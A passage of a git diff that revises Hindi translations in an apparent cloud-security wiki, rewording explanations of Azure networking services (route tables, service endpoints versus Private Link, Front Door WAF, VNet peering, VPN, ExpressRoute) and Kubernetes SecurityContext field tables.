को नियंत्रित करने के लिए किया जाता है जो एक सबनेट के भीतर होता है। वे नियमों को परिभाषित करते हैं जो यह निर्दिष्ट करते हैं कि पैकेट्स को कैसे अग्रेषित किया जाना चाहिए, या तो Azure संसाधनों, इंटरनेट, या एक विशिष्ट अगले हॉप जैसे कि एक वर्चुअल एप्लायंस या Azure फ़ायरवॉल की ओर। आप एक **सबनेट** के साथ एक रूट टेबल को जोड़ सकते हैं, और उस सबनेट के भीतर सभी संसाधन तालिका में रूट का पालन करेंगे। -**उदाहरण:** यदि एक सबनेट में ऐसे संसाधन हैं जिन्हें निरीक्षण के लिए नेटवर्क वर्चुअल एप्लायंस (NVA) के माध्यम से आउटबाउंड ट्रैफ़िक को रूट करने की आवश्यकता है, तो आप एक रूट टेबल में एक **रूट** बना सकते हैं ताकि सभी ट्रैफ़िक (जैसे, `0.0.0.0/0`) को NVA के निजी IP पते पर अगले हॉप के रूप में पुनर्निर्देशित किया जा सके। +**उदाहरण:** यदि एक सबनेट में ऐसे संसाधन हैं जिन्हें निरीक्षण के लिए नेटवर्क वर्चुअल एप्लायंस (NVA) के माध्यम से आउटबाउंड ट्रैफ़िक को रूट करने की आवश्यकता है, तो आप एक रूट टेबल में एक **रूट** बना सकते हैं ताकि सभी ट्रैफ़िक (जैसे, `0.0.0.0/0`) को NVA के निजी IP पते की ओर अगला हॉप के रूप में पुनर्निर्देशित किया जा सके। -### **गणना** +### **Enumeration** {{#tabs }} {{#tab name="az cli" }} @@ -207,11 +208,11 @@ Get-AzPrivateEndpoint | Select-Object Name, Location, ResourceGroupName, Private ## Azure सेवा एंडपॉइंट -Azure सेवा एंडपॉइंट आपके वर्चुअल नेटवर्क के निजी पते की जगह और आपके VNet की पहचान को Azure सेवाओं के लिए एक सीधे कनेक्शन के माध्यम से बढ़ाते हैं। सेवा एंडपॉइंट सक्षम करके, **आपके VNet में संसाधन सुरक्षित रूप से Azure सेवाओं से कनेक्ट कर सकते हैं**, जैसे Azure Storage और Azure SQL Database, Azure के बैकबोन नेटवर्क का उपयोग करते हुए। यह सुनिश्चित करता है कि **VNet से Azure सेवा तक का ट्रैफ़िक Azure नेटवर्क के भीतर रहता है**, जो एक अधिक सुरक्षित और विश्वसनीय मार्ग प्रदान करता है। +Azure सेवा एंडपॉइंट आपके वर्चुअल नेटवर्क के निजी पते की जगह और आपके VNet की पहचान को Azure सेवाओं के साथ एक सीधे कनेक्शन के माध्यम से बढ़ाते हैं। सेवा एंडपॉइंट सक्षम करके, **आपके VNet में संसाधन सुरक्षित रूप से Azure सेवाओं से कनेक्ट कर सकते हैं**, जैसे Azure Storage और Azure SQL Database, Azure के बैकबोन नेटवर्क का उपयोग करते हुए। यह सुनिश्चित करता है कि **VNet से Azure सेवा तक का ट्रैफ़िक Azure नेटवर्क के भीतर रहता है**, जो एक अधिक सुरक्षित और विश्वसनीय मार्ग प्रदान करता है। **उदाहरण:** -उदाहरण के लिए, एक **Azure Storage** खाता डिफ़ॉल्ट रूप से सार्वजनिक इंटरनेट पर सुलभ है। अपने VNet के भीतर **Azure Storage के लिए एक सेवा एंडपॉइंट सक्षम करके**, आप सुनिश्चित कर सकते हैं कि केवल आपके VNet से आने वाला ट्रैफ़िक स्टोरेज खाते तक पहुँच सकता है। फिर स्टोरेज खाता फ़ायरवॉल को इस तरह से कॉन्फ़िगर किया जा सकता है कि यह केवल आपके VNet से आने वाले ट्रैफ़िक को स्वीकार करे। +उदाहरण के लिए, एक **Azure Storage** खाता डिफ़ॉल्ट रूप से सार्वजनिक इंटरनेट पर सुलभ है। अपने VNet के भीतर **Azure Storage के लिए एक सेवा एंडपॉइंट सक्षम करके**, आप सुनिश्चित कर सकते हैं कि केवल आपके VNet से आने वाला ट्रैफ़िक स्टोरेज खाते तक पहुँच सकता है। फिर स्टोरेज खाता फ़ायरवॉल को इस तरह से कॉन्फ़िगर किया जा सकता है कि वह केवल आपके VNet से आने वाले ट्रैफ़िक को स्वीकार करे। ### **गणना** @@ -236,39 +237,39 @@ Get-AzVirtualNetwork {{#endtab }} {{#endtabs }} -### सेवा अंत बिंदुओं और निजी लिंक के बीच अंतर +### सेवा एंडपॉइंट और प्राइवेट लिंक के बीच अंतर -Microsoft [**docs**](https://learn.microsoft.com/en-us/azure/virtual-network/vnet-integration-for-azure-services#compare-private-endpoints-and-service-endpoints) में निजी लिंक का उपयोग करने की सिफारिश करता है: +Microsoft [**docs**](https://learn.microsoft.com/en-us/azure/virtual-network/vnet-integration-for-azure-services#compare-private-endpoints-and-service-endpoints) में प्राइवेट लिंक का उपयोग करने की सिफारिश करता है:
-**सेवा अंत बिंदु:** +**सेवा एंडपॉइंट:** - आपके VNet से Azure सेवा तक का ट्रैफ़िक Microsoft Azure बैकबोन नेटवर्क के माध्यम से यात्रा करता है, सार्वजनिक इंटरनेट को बायपास करता है। -- अंत बिंदु Azure सेवा के लिए एक सीधा कनेक्शन है और VNet के भीतर सेवा के लिए एक निजी IP प्रदान नहीं करता है। -- सेवा स्वयं आपके VNet के बाहर से इसके सार्वजनिक अंत बिंदु के माध्यम से अभी भी सुलभ है जब तक कि आप सेवा फ़ायरवॉल को ऐसे ट्रैफ़िक को अवरुद्ध करने के लिए कॉन्फ़िगर नहीं करते। +- एंडपॉइंट Azure सेवा के लिए एक सीधा कनेक्शन है और VNet के भीतर सेवा के लिए एक प्राइवेट IP प्रदान नहीं करता है। +- सेवा स्वयं आपके VNet के बाहर से इसके सार्वजनिक एंडपॉइंट के माध्यम से अभी भी सुलभ है जब तक कि आप सेवा फ़ायरवॉल को ऐसे ट्रैफ़िक को ब्लॉक करने के लिए कॉन्फ़िगर नहीं करते। - यह सबनेट और Azure सेवा के बीच एक-से-एक संबंध है। -- निजी लिंक की तुलना में कम महंगा है। +- प्राइवेट लिंक की तुलना में कम महंगा है। -**निजी लिंक:** +**प्राइवेट लिंक:** -- निजी लिंक Azure सेवाओं को आपके VNet में एक निजी अंत बिंदु के माध्यम से मानचित्रित करता है, जो आपके VNet के भीतर एक निजी IP पते के साथ एक नेटवर्क इंटरफ़ेस है। -- Azure सेवा को इस निजी IP पते का उपयोग करके एक्सेस किया जाता है, जिससे यह ऐसा प्रतीत होता है जैसे यह आपके नेटवर्क का हिस्सा है। -- निजी लिंक के माध्यम से जुड़े सेवाओं को केवल आपके VNet या जुड़े नेटवर्क से एक्सेस किया जा सकता है; सेवा के लिए कोई सार्वजनिक इंटरनेट एक्सेस नहीं है। +- प्राइवेट लिंक Azure सेवाओं को आपके VNet में एक प्राइवेट एंडपॉइंट के माध्यम से मैप करता है, जो आपके VNet के भीतर एक प्राइवेट IP पते के साथ एक नेटवर्क इंटरफेस है। +- Azure सेवा को इस प्राइवेट IP पते का उपयोग करके एक्सेस किया जाता है, जिससे यह ऐसा प्रतीत होता है जैसे यह आपके नेटवर्क का हिस्सा है। +- प्राइवेट लिंक के माध्यम से जुड़े सेवाओं को केवल आपके VNet या जुड़े नेटवर्क से एक्सेस किया जा सकता है; सेवा के लिए कोई सार्वजनिक इंटरनेट एक्सेस नहीं है। - यह Azure सेवाओं या Azure में होस्ट की गई आपकी अपनी सेवाओं के लिए एक सुरक्षित कनेक्शन सक्षम करता है, साथ ही दूसरों द्वारा साझा की गई सेवाओं के लिए भी। -- यह आपके VNet में एक निजी अंत बिंदु के माध्यम से अधिक बारीक पहुंच नियंत्रण प्रदान करता है, जबकि सेवा अंत बिंदुओं के साथ सबनेट स्तर पर व्यापक पहुंच नियंत्रण की तुलना में। +- यह आपके VNet में एक प्राइवेट एंडपॉइंट के माध्यम से अधिक बारीक पहुंच नियंत्रण प्रदान करता है, जबकि सेवा एंडपॉइंट के साथ सबनेट स्तर पर व्यापक पहुंच नियंत्रण की तुलना में। -संक्षेप में, जबकि सेवा अंत बिंदु और निजी लिंक दोनों Azure सेवाओं के लिए सुरक्षित कनेक्टिविटी प्रदान करते हैं, **निजी लिंक उच्च स्तर की अलगाव और सुरक्षा प्रदान करते हैं यह सुनिश्चित करके कि सेवाओं को सार्वजनिक इंटरनेट के बिना निजी रूप से एक्सेस किया जाता है**। दूसरी ओर, सेवा अंत बिंदु सामान्य मामलों के लिए सेट अप करना आसान है जहां Azure सेवाओं के लिए सरल, सुरक्षित पहुंच की आवश्यकता होती है बिना VNet में एक निजी IP की आवश्यकता के। +संक्षेप में, जबकि सेवा एंडपॉइंट और प्राइवेट लिंक दोनों Azure सेवाओं के लिए सुरक्षित कनेक्टिविटी प्रदान करते हैं, **प्राइवेट लिंक उच्च स्तर की अलगाव और सुरक्षा प्रदान करते हैं यह सुनिश्चित करके कि सेवाओं को सार्वजनिक इंटरनेट के बिना निजी रूप से एक्सेस किया जाए**। दूसरी ओर, सेवा एंडपॉइंट सामान्य मामलों के लिए सेट अप करना आसान है जहां Azure सेवाओं के लिए सरल, सुरक्षित पहुंच की आवश्यकता होती है बिना VNet में प्राइवेट IP की आवश्यकता के। ## Azure Front Door (AFD) और AFD WAF -**Azure Front Door** आपके वैश्विक वेब अनुप्रयोगों के लिए **तेज़ वितरण** के लिए एक स्केलेबल और सुरक्षित प्रवेश बिंदु है। यह **वैश्विक लोड संतुलन, साइट त्वरक, SSL ऑफ़लोडिंग, और वेब एप्लिकेशन फ़ायरवॉल (WAF)** क्षमताओं जैसी विभिन्न सेवाओं को एकल सेवा में **संयोजित** करता है। Azure Front Door उपयोगकर्ता के लिए **सबसे निकटतम एज स्थान** के आधार पर बुद्धिमान रूटिंग प्रदान करता है, जिससे प्रदर्शन और विश्वसनीयता सुनिश्चित होती है। इसके अतिरिक्त, यह URL-आधारित रूटिंग, कई साइट होस्टिंग, सत्र संबंधी अनुकूलता, और एप्लिकेशन स्तर की सुरक्षा प्रदान करता है। +**Azure Front Door** आपके वैश्विक वेब अनुप्रयोगों के लिए **तेज़ वितरण** के लिए एक स्केलेबल और सुरक्षित प्रवेश बिंदु है। यह **वैश्विक लोड बैलेंसिंग, साइट त्वरक, SSL ऑफ़लोडिंग, और वेब एप्लिकेशन फ़ायरवॉल (WAF)** क्षमताओं जैसे विभिन्न सेवाओं को एकल सेवा में **संयोजित** करता है। Azure Front Door उपयोगकर्ता के लिए **सबसे निकटतम एज स्थान** के आधार पर बुद्धिमान रूटिंग प्रदान करता है, जिससे प्रदर्शन और विश्वसनीयता सुनिश्चित होती है। इसके अतिरिक्त, यह URL-आधारित रूटिंग, कई साइट होस्टिंग, सत्र संबंधी अनुकूलता, और एप्लिकेशन स्तर की सुरक्षा प्रदान करता है। **Azure Front Door WAF** को **वेब-आधारित हमलों से वेब अनुप्रयोगों की सुरक्षा** के लिए डिज़ाइन किया गया है बिना बैक-एंड कोड में संशोधन किए। इसमें SQL इंजेक्शन, क्रॉस-साइट स्क्रिप्टिंग, और अन्य सामान्य हमलों जैसे खतरों से सुरक्षा के लिए कस्टम नियम और प्रबंधित नियम सेट शामिल हैं। **उदाहरण:** -कल्पना करें कि आपके पास एक वैश्विक रूप से वितरित अनुप्रयोग है जिसमें दुनिया भर में उपयोगकर्ता हैं। आप Azure Front Door का उपयोग करके **उपयोगकर्ता अनुरोधों को आपके अनुप्रयोग को होस्ट करने वाले निकटतम क्षेत्रीय डेटा केंद्र की ओर रूट कर सकते हैं**, जिससे विलंबता कम होती है, उपयोगकर्ता अनुभव में सुधार होता है और **WAF क्षमताओं के साथ वेब हमलों से इसकी रक्षा होती है**। यदि किसी विशेष क्षेत्र में डाउनटाइम होता है, तो Azure Front Door स्वचालित रूप से ट्रैफ़िक को अगले सबसे अच्छे स्थान पर पुनः रूट कर सकता है, जिससे उच्च उपलब्धता सुनिश्चित होती है। +कल्पना करें कि आपके पास एक वैश्विक रूप से वितरित अनुप्रयोग है जिसमें दुनिया भर में उपयोगकर्ता हैं। आप Azure Front Door का उपयोग करके **उपयोगकर्ता अनुरोधों को आपके अनुप्रयोग को होस्ट करने वाले निकटतम क्षेत्रीय डेटा सेंटर** की ओर रूट कर सकते हैं, जिससे विलंबता कम होती है, उपयोगकर्ता अनुभव में सुधार होता है और **WAF क्षमताओं के साथ वेब हमलों से इसकी रक्षा होती है**। यदि किसी विशेष क्षेत्र में डाउनटाइम होता है, तो Azure Front Door स्वचालित रूप से ट्रैफ़िक को अगली सबसे अच्छी स्थिति की ओर रूट कर सकता है, जिससे उच्च उपलब्धता सुनिश्चित होती है। ### गणना @@ -321,10 +322,10 @@ az network application-gateway waf-config list --gateway-name - ## Azure Hub, Spoke & VNet Peering -**VNet Peering** एक नेटवर्किंग फीचर है जो Azure में **विभिन्न वर्चुअल नेटवर्क (VNets) को सीधे और निर्बाध रूप से जोड़ने की अनुमति देता है**। VNet पीयरिंग के माध्यम से, एक VNet में संसाधन दूसरे VNet में संसाधनों के साथ निजी IP पते का उपयोग करके संवाद कर सकते हैं, **जैसे कि वे एक ही नेटवर्क में हों**।\ +**VNet Peering** एक नेटवर्किंग फीचर है जो Azure में **विभिन्न वर्चुअल नेटवर्क (VNets) को सीधे और निर्बाध रूप से जोड़ने की अनुमति देता है**। VNet पीयरिंग के माध्यम से, एक VNet में संसाधन दूसरे VNet में संसाधनों के साथ निजी IP पते का उपयोग करके संवाद कर सकते हैं, **जैसे कि वे एक ही नेटवर्क में हैं**।\ **VNet Peering को ऑन-प्रेम नेटवर्क के साथ भी उपयोग किया जा सकता है** साइट-टू-साइट VPN या Azure ExpressRoute सेट करके। -**Azure Hub and Spoke** एक नेटवर्क टोपोलॉजी है जिसका उपयोग Azure में नेटवर्क ट्रैफ़िक को प्रबंधित और व्यवस्थित करने के लिए किया जाता है। **"हब" एक केंद्रीय बिंदु है जो विभिन्न "स्पोक्स" के बीच ट्रैफ़िक को नियंत्रित और रूट करता है**। हब में आमतौर पर साझा सेवाएँ होती हैं जैसे नेटवर्क वर्चुअल एप्लायंसेस (NVAs), Azure VPN गेटवे, Azure फ़ायरवॉल, या Azure बैस्टियन। **"स्पोक्स" वे VNets हैं जो कार्यभार को होस्ट करते हैं और VNet पीयरिंग का उपयोग करके हब से कनेक्ट करते हैं**, जिससे उन्हें हब के भीतर साझा सेवाओं का लाभ उठाने की अनुमति मिलती है। यह मॉडल साफ नेटवर्क लेआउट को बढ़ावा देता है, जिससे जटिलता कम होती है क्योंकि यह विभिन्न VNets के बीच कई कार्यभारों द्वारा उपयोग की जाने वाली सामान्य सेवाओं को केंद्रीकृत करता है। +**Azure Hub and Spoke** एक नेटवर्क टोपोलॉजी है जिसका उपयोग Azure में नेटवर्क ट्रैफ़िक को प्रबंधित और व्यवस्थित करने के लिए किया जाता है। **"हब" एक केंद्रीय बिंदु है जो विभिन्न "स्पोक्स" के बीच ट्रैफ़िक को नियंत्रित और रूट करता है**। हब में आमतौर पर साझा सेवाएँ होती हैं जैसे नेटवर्क वर्चुअल एप्लायंसेस (NVAs), Azure VPN गेटवे, Azure फ़ायरवॉल, या Azure बैस्टियन। **"स्पोक्स" वे VNets हैं जो कार्यभार होस्ट करते हैं और VNet पीयरिंग का उपयोग करके हब से जुड़े होते हैं**, जिससे वे हब के भीतर साझा सेवाओं का लाभ उठा सकते हैं। यह मॉडल साफ नेटवर्क लेआउट को बढ़ावा देता है, जिससे जटिलता कम होती है क्योंकि यह विभिन्न VNets के बीच कई कार्यभारों द्वारा उपयोग की जाने वाली सामान्य सेवाओं को केंद्रीकृत करता है। > [!CAUTION] > **Azure में VNET पेयरिंग गैर-परिवर्तनीय है**, जिसका अर्थ है कि यदि स्पोक 1 स्पोक 2 से जुड़ा है और स्पोक 2 स्पोक 3 से जुड़ा है, तो स्पोक 1 सीधे स्पोक 3 से बात नहीं कर सकता। @@ -367,7 +368,7 @@ Azure में एक साइट-से-साइट वीपीएन आ **उदाहरण:** -एक व्यवसाय जिसका मुख्य कार्यालय न्यूयॉर्क में स्थित है, एक ऑन-प्रिमाइसेस डेटा सेंटर है जिसे Azure में अपने VNet से सुरक्षित रूप से कनेक्ट करने की आवश्यकता है, जो इसके वर्चुअलाइज्ड वर्कलोड्स को होस्ट करता है। एक **साइट-से-साइट वीपीएन सेटअप करके, कंपनी ऑन-प्रिमाइसेस सर्वरों और Azure VMs के बीच एन्क्रिप्टेड कनेक्टिविटी सुनिश्चित कर सकती है**, जिससे दोनों वातावरणों में संसाधनों को सुरक्षित रूप से एक्सेस किया जा सके जैसे कि वे एक ही स्थानीय नेटवर्क में हों। +एक व्यवसाय जिसका मुख्य कार्यालय न्यूयॉर्क में स्थित है, एक ऑन-प्रिमाइसेस डेटा सेंटर है जिसे Azure में अपने VNet से सुरक्षित रूप से कनेक्ट करने की आवश्यकता है, जो इसके वर्चुअलाइज्ड वर्कलोड्स को होस्ट करता है। एक **साइट-से-साइट वीपीएन सेटअप करके, कंपनी ऑन-प्रिमाइसेस सर्वरों और Azure VMs के बीच एन्क्रिप्टेड कनेक्टिविटी सुनिश्चित कर सकती है**, जिससे संसाधनों को दोनों वातावरणों में सुरक्षित रूप से एक्सेस किया जा सके जैसे कि वे एक ही स्थानीय नेटवर्क में हों। ### **गणना** @@ -394,7 +395,7 @@ Get-AzVirtualNetworkGatewayConnection -ResourceGroupName ## Azure ExpressRoute -Azure ExpressRoute एक सेवा है जो आपके ऑन-प्रिमाइसेस इन्फ्रास्ट्रक्चर और Azure डेटा सेंटर के बीच एक **निजी, समर्पित, उच्च-गति कनेक्शन** प्रदान करती है। यह कनेक्शन एक कनेक्टिविटी प्रदाता के माध्यम से बनाया जाता है, जो सार्वजनिक इंटरनेट को बायपास करता है और सामान्य इंटरनेट कनेक्शनों की तुलना में अधिक विश्वसनीयता, तेज गति, कम विलंबता और उच्च सुरक्षा प्रदान करता है। +Azure ExpressRoute एक सेवा है जो आपके ऑन-प्रिमाइसेस इन्फ्रास्ट्रक्चर और Azure डेटा सेंटर के बीच एक **निजी, समर्पित, उच्च-गति कनेक्शन** प्रदान करती है। यह कनेक्शन एक कनेक्टिविटी प्रदाता के माध्यम से बनाया जाता है, जो सार्वजनिक इंटरनेट को बायपास करता है और सामान्य इंटरनेट कनेक्शनों की तुलना में अधिक विश्वसनीयता, तेज गति, कम लेटेंसी और उच्च सुरक्षा प्रदान करता है। **उदाहरण:** diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md b/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md index 33ab06576..1830701c4 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md @@ -13,17 +13,18 @@ - यदि संभव हो, तो **seLinuxOptions** और **seccompProfile** को इंगित करते हुए **permissions** को **सीमित** करने पर विचार करें - **runAsGroup** और **supplementaryGroups** के माध्यम से **privilege** **group** पहुंच न दें -|

fsGroup
integer

|

एक विशेष पूरक समूह जो pod में सभी कंटेनरों पर लागू होता है। कुछ वॉल्यूम प्रकार Kubelet को उस वॉल्यूम के स्वामित्व को बदलने की अनुमति देते हैं:
1. स्वामित्व GID FSGroup होगा
2. सेटगिड बिट सेट है (वॉल्यूम में बनाए गए नए फ़ाइलें FSGroup द्वारा स्वामित्व होंगी)
3. अनुमति बिट rw-rw---- के साथ OR'd हैं यदि सेट नहीं है, तो Kubelet किसी भी वॉल्यूम के स्वामित्व और अनुमतियों को संशोधित नहीं करेगा

| -| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| Parameter | Description | +|

fsGroup
integer

|

एक विशेष सहायक समूह जो pod में सभी कंटेनरों पर लागू होता है। कुछ वॉल्यूम प्रकार Kubelet को उस वॉल्यूम के स्वामित्व को बदलने की अनुमति देते हैं:
1. स्वामित्व GID FSGroup होगा
2. सेटगिड बिट सेट है (वॉल्यूम में बनाए गए नए फ़ाइलें FSGroup द्वारा स्वामित्व होंगी)
3. अनुमति बिट rw-rw---- के साथ OR'd हैं यदि सेट नहीं है, तो Kubelet किसी भी वॉल्यूम के स्वामित्व और अनुमतियों को संशोधित नहीं करेगा

| + |

fsGroupChangePolicy
string

| यह **वॉल्यूम के स्वामित्व और अनुमति को बदलने** के व्यवहार को परिभाषित करता है, जो Pod के अंदर उजागर होने से पहले होता है। | |

runAsGroup
integer

| **कंटेनर प्रक्रिया के एंट्रीपॉइंट को चलाने के लिए GID**। यदि सेट नहीं है तो रनटाइम डिफ़ॉल्ट का उपयोग करता है। | -|

runAsNonRoot
boolean

| यह इंगित करता है कि कंटेनर को गैर-रूट उपयोगकर्ता के रूप में चलाना चाहिए। यदि सही है, तो Kubelet रनटाइम पर छवि को मान्य करेगा ताकि यह सुनिश्चित हो सके कि यह UID 0 (रूट) के रूप में नहीं चल रहा है और यदि ऐसा होता है तो कंटेनर शुरू करने में विफल हो जाएगा। | -|

runAsUser
integer

| **कंटेनर प्रक्रिया के एंट्रीपॉइंट को चलाने के लिए UID**। यदि निर्दिष्ट नहीं किया गया है तो छवि मेटाडेटा में निर्दिष्ट उपयोगकर्ता पर डिफ़ॉल्ट होता है। | +|

runAsNonRoot
boolean

| यह इंगित करता है कि कंटेनर को गैर-रूट उपयोगकर्ता के रूप में चलाना चाहिए। यदि सत्य है, तो Kubelet रनटाइम पर छवि को मान्य करेगा ताकि यह सुनिश्चित हो सके कि यह UID 0 (रूट) के रूप में नहीं चलती है और यदि ऐसा करती है तो कंटेनर शुरू करने में विफल हो जाएगी। | +|

runAsUser
integer

| **कंटेनर प्रक्रिया के एंट्रीपॉइंट को चलाने के लिए UID**। यदि निर्दिष्ट नहीं किया गया है तो छवि मेटाडेटा में निर्दिष्ट उपयोगकर्ता के रूप में डिफ़ॉल्ट होता है। | |

seLinuxOptions
SELinuxOptions
More info about seLinux

| **सभी कंटेनरों पर लागू होने वाला SELinux संदर्भ**। यदि निर्दिष्ट नहीं किया गया है, तो कंटेनर रनटाइम प्रत्येक कंटेनर के लिए एक यादृच्छिक SELinux संदर्भ आवंटित करेगा। | |

seccompProfile
SeccompProfile
More info about Seccomp

| इस pod में कंटेनरों द्वारा उपयोग किए जाने वाले **seccomp विकल्प**। | -|

supplementalGroups
integer array

| **प्रत्येक कंटेनर में पहले चलाए गए प्रक्रिया पर लागू समूहों** की एक सूची, कंटेनर के प्राथमिक GID के अतिरिक्त। | -|

sysctls
Sysctl array
More info about sysctls

| Sysctls **pod के लिए उपयोग किए जाने वाले नामित sysctls** की एक सूची रखता है। जिन pods में असमर्थित sysctls होते हैं (कंटेनर रनटाइम द्वारा) वे लॉन्च करने में विफल हो सकते हैं। | -|

windowsOptions
WindowsSecurityContextOptions

| सभी कंटेनरों पर लागू होने वाली Windows विशिष्ट सेटिंग्स। यदि निर्दिष्ट नहीं किया गया है, तो कंटेनर के SecurityContext के भीतर विकल्पों का उपयोग किया जाएगा। | +|

supplementalGroups
integer array

| **प्राथमिक GID के अलावा, प्रत्येक कंटेनर में पहले चलाए गए प्रक्रिया पर लागू होने वाले समूहों की एक सूची**। | +|

sysctls
Sysctl array
More info about sysctls

| Sysctls **pod के लिए उपयोग किए जाने वाले namespaced sysctls की एक सूची** रखते हैं। जिन pods में असमर्थित sysctls होते हैं (कंटेनर रनटाइम द्वारा) वे लॉन्च करने में विफल हो सकते हैं। | +|

windowsOptions
WindowsSecurityContextOptions

| सभी कंटेनरों पर लागू होने वाली Windows विशिष्ट सेटिंग्स। यदि निर्दिष्ट नहीं किया गया है, तो एक कंटेनर के SecurityContext के भीतर विकल्पों का उपयोग किया जाएगा। | ## SecurityContext @@ -39,17 +40,17 @@ - यदि संभव हो, तो **seLinuxOptions** और **seccompProfile** को इंगित करते हुए **permissions** को **सीमित** करने पर विचार करें - **runAsGroup** के माध्यम से **privilege** **group** पहुंच न दें। -ध्यान दें कि **SecurityContext और PodSecurityContext** में सेट की गई विशेषताएँ, **SecurityContext** में निर्दिष्ट मान **प्राथमिकता** लेता है। +ध्यान दें कि **SecurityContext और PodSecurityContext** में सेट किए गए गुणों में, **SecurityContext** में निर्दिष्ट मान **प्राथमिकता** लेता है। -|

allowPrivilegeEscalation
boolean

| **AllowPrivilegeEscalation** नियंत्रित करता है कि क्या एक प्रक्रिया **अपने माता-पिता की प्रक्रिया से अधिक विशेषाधिकार प्राप्त कर सकती है**। यह bool सीधे नियंत्रित करता है कि क्या no_new_privs ध्वज कंटेनर प्रक्रिया पर सेट किया जाएगा। AllowPrivilegeEscalation हमेशा सही होता है जब कंटेनर **Privileged** के रूप में चलाया जाता है या **CAP_SYS_ADMIN** होता है | +|

allowPrivilegeEscalation
boolean

| **AllowPrivilegeEscalation** नियंत्रित करता है कि क्या एक प्रक्रिया **अपने माता-पिता प्रक्रिया से अधिक विशेषाधिकार प्राप्त कर सकती है**। यह bool सीधे नियंत्रित करता है कि क्या no_new_privs ध्वज कंटेनर प्रक्रिया पर सेट किया जाएगा। AllowPrivilegeEscalation हमेशा सत्य होता है जब कंटेनर **Privileged** के रूप में चलाया जाता है या **CAP_SYS_ADMIN** होता है | | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -|

capabilities
Capabilities
More info about Capabilities

| **कंटेनरों को चलाते समय जोड़ने/हटाने के लिए क्षमताएँ**। डिफ़ॉल्ट रूप से क्षमताओं का डिफ़ॉल्ट सेट होता है। | -|

privileged
boolean

| विशेषाधिकार मोड में कंटेनर चलाएँ। विशेषाधिकार वाले कंटेनरों में प्रक्रियाएँ मूल रूप से **होस्ट पर रूट के बराबर** होती हैं। डिफ़ॉल्ट रूप से गलत। | +|

capabilities
Capabilities
More info about Capabilities

| **कंटेनरों को चलाते समय जोड़ने/हटाने के लिए क्षमताएँ**। डिफ़ॉल्ट रूप से क्षमताओं के डिफ़ॉल्ट सेट पर। | +|

privileged
boolean

| विशेषाधिकार मोड में कंटेनर चलाएँ। विशेषाधिकार प्राप्त कंटेनरों में प्रक्रियाएँ मूल रूप से **होस्ट पर रूट के बराबर** होती हैं। डिफ़ॉल्ट रूप से झूठा। | |

procMount
string

| procMount **कंटेनरों के लिए उपयोग करने के लिए proc माउंट के प्रकार** को दर्शाता है। डिफ़ॉल्ट DefaultProcMount है जो केवल-पढ़ने वाले पथों और मास्क किए गए पथों के लिए कंटेनर रनटाइम डिफ़ॉल्ट का उपयोग करता है। | -|

readOnlyRootFilesystem
boolean

| क्या इस **कंटेनर का एक केवल-पढ़ने वाला रूट फ़ाइल सिस्टम है**। डिफ़ॉल्ट रूप से गलत है। | +|

readOnlyRootFilesystem
boolean

| क्या इस **कंटेनर का एक केवल-पढ़ने वाला रूट फ़ाइल सिस्टम है**। डिफ़ॉल्ट रूप से झूठा। | |

runAsGroup
integer

| **कंटेनर प्रक्रिया के एंट्रीपॉइंट को चलाने के लिए GID**। यदि सेट नहीं है तो रनटाइम डिफ़ॉल्ट का उपयोग करता है। | -|

runAsNonRoot
boolean

| यह इंगित करता है कि कंटेनर को **गैर-रूट उपयोगकर्ता के रूप में चलाना चाहिए**। यदि सही है, तो Kubelet रनटाइम पर छवि को मान्य करेगा ताकि यह सुनिश्चित हो सके कि यह UID 0 (रूट) के रूप में नहीं चल रहा है और यदि ऐसा होता है तो कंटेनर शुरू करने में विफल हो जाएगा। | -|

runAsUser
integer

| **कंटेनर प्रक्रिया के एंट्रीपॉइंट को चलाने के लिए UID**। यदि निर्दिष्ट नहीं किया गया है तो छवि मेटाडेटा में निर्दिष्ट उपयोगकर्ता पर डिफ़ॉल्ट होता है। | +|

runAsNonRoot
boolean

| यह इंगित करता है कि कंटेनर को **गैर-रूट उपयोगकर्ता के रूप में चलाना चाहिए**। यदि सत्य है, तो Kubelet रनटाइम पर छवि को मान्य करेगा ताकि यह सुनिश्चित हो सके कि यह UID 0 (रूट) के रूप में नहीं चलती है और यदि ऐसा करती है तो कंटेनर शुरू करने में विफल हो जाएगी। | +|

runAsUser
integer

| **कंटेनर प्रक्रिया के एंट्रीपॉइंट को चलाने के लिए UID**। यदि निर्दिष्ट नहीं किया गया है तो छवि मेटाडेटा में निर्दिष्ट उपयोगकर्ता के रूप में डिफ़ॉल्ट होता है। | |

seLinuxOptions
SELinuxOptions
More info about seLinux

| **कंटेनर पर लागू होने वाला SELinux संदर्भ**। यदि निर्दिष्ट नहीं किया गया है, तो कंटेनर रनटाइम प्रत्येक कंटेनर के लिए एक यादृच्छिक SELinux संदर्भ आवंटित करेगा। | |

seccompProfile
SeccompProfile

| इस कंटेनर द्वारा उपयोग किए जाने वाले **seccomp विकल्प**। | |

windowsOptions
WindowsSecurityContextOptions

| सभी कंटेनरों पर लागू होने वाली **Windows विशिष्ट सेटिंग्स**। |